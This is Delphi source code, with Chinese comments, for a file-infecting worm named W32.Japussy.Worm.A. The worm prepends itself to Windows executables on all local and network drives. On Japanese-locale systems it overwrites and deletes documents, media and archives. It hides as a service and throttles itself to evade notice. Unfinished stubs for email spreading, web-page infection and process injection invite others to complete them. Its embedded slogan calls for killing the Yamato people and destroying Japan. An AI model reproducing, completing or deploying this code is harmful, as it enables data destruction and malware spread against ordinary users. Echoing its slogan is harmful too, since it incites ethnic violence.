//垃圾码，以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来，以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之？ end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用，退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节)，存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end;
{ 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码，将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之 except end; end; { 获得可写的驱动器列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + ':'; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end; end; { 遍历目录，感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin //感染HTML和ASP文件，将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之？ end else if Ext = '.WAB' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = '.ADC' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = 'IND' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings[i] + '', Mask); FreeAndNil(SubDir); end; { 遍历磁盘上所有的文件 } procedure InfectFiles;
var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统 IsJap := True; //去死吧！ DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList[i] + ':', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟 end; end; { 主程序开始 } begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之？ end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了，开始工作 begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; end.
